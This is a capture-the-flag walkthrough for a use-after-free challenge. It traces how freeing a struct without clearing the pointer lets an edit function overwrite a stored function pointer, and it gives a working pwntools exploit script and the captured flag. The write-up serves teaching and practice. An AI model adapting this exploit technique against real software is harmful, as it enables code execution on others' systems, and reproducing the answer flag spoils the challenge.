

Nova Prime's Last Stand

MIRAGE 2.0 — Binary Exploitation — Walkthrough

CATEGORY	DIFFICULTY	PORT
Pwn / Use-After-Free	Medium (275 pts)	1669/tcp
FILES	VULNERABILITY	STATUS
nova_prime (binary only, with debug symbols)	Use-after-free → function-pointer hijack	Solved

Step 1 — First Contact

The README states the category outright: “Pwn / Use-After-Free.” That’s a significant head start — rather than searching blindly, the job becomes “find the object lifecycle bug” specifically. Connecting to the service shows a menu of six operations on eight numbered “command” slots: something like Register, Retire, Reforge, Execute, and a couple of housekeeping options.

Step 2 — Recon

No source is provided, but the binary was built with debug symbols (with `debug_info`, not stripped in file’s output), which is a gift for a UAF hunt: instead of reconstructing struct layouts by hand, `objdump --dwarf=info` and `gdb` can print real struct and field names directly.

```
struct Command {
    char name[24];           // offset 0x00
    void (*handler)(char *); // offset 0x18
    char data[64];           // offset 0x20
};                          // 96 bytes total, malloc(0x60)
```

A struct that stores its own function pointer inline, right next to attacker-controlled data, is worth flagging immediately: if that pointer can ever be overwritten and then called, that’s a direct path to code execution with no ROP chain needed at all.

Step 3 — Tracing the Object Lifecycle

Reading each menu handler in turn, following what happens to `commands[slot]` across Register, Retire, Reforge, and Execute:

- **Register** — `malloc(0x60)`s a new `Command`, sets `handler = normal_handler`, and stores it into the slot.
- **Retire** — calls `free(commands[slot])`. Reading the very next instruction after the `free` call: there isn’t one that clears `commands[slot]`. The pointer value is left exactly as it was — now dangling. (The game’s own flavor text even hints at this: “warning: command handle remains cached”).
- **Reforge** — checks only that `commands[slot] != NULL` before writing 96 raw bytes into it via `fgets`. Since the slot was never nulled out by Retire, this check passes even on an already-freed slot, and the write lands directly on freed heap memory.

■ **Execute** — same non-NULL check, then calls
commands[slot]->handler(commands[slot]->data).

Chaining these three together: free a slot, then use Reforge — which was only ever supposed to edit a live slot — to write fresh bytes into that same freed memory, landing exactly on the handler field at offset 0x18. Then Execute calls whatever pointer is sitting there.

Step 4 — Finding a Target for the Hijacked Pointer

```
$ checksec --file=nova_prime
PIE: no (base 0x400000)
```

Because the binary is non-PIE, any function inside it already has a fixed, known address — no leak is needed before deciding what to redirect handler to. Scanning for functions never referenced by main's normal control flow (the same trick used in earlier challenges) turns up nova_prime() at 0x40125a — dead code that opens and prints flag.txt, ignoring whatever argument it's called with. That makes it a perfect target: it doesn't matter that Execute will call it with data as an argument, since nova_prime() never looks at that argument anyway.

Step 5 — Running It

```
from pwn import *

io = remote('<host>', 1669)
NOVA_PRIME = 0x40125a

io.sendlineafter(b'>', b'1')      # Register slot 0
io.sendline(b'anything')          # name
io.sendline(b'anything')          # data

io.sendlineafter(b'>', b'2')      # Retire slot 0 -> frees, pointer stays cached
io.sendline(b'0')

io.sendlineafter(b'>', b'3')      # Reforge slot 0 -> raw overwrite of freed chunk
io.sendline(b'0')
io.sendline(b'A' * 24 + p64(NOVA_PRIME)) # overwrite handler @ offset 0x18

io.sendlineafter(b'>', b'4')      # Execute slot 0 -> calls nova_prime(data)
io.sendline(b'0')

io.interactive()
```

FLAG

```
MIRAGE{n0va_pr1m3_st4nds_wh3n_th3_v4ult_coll4ps}
```

Takeaway

A use-after-free is really always the same three-step pattern to look for: find where something is freed, confirm the pointer to it isn't cleared afterward, then find every other code path that still trusts that pointer as if the object

were alive. When the freed struct happens to store its own function pointer, the “use” step often *is* the exploit — no ROP chain required.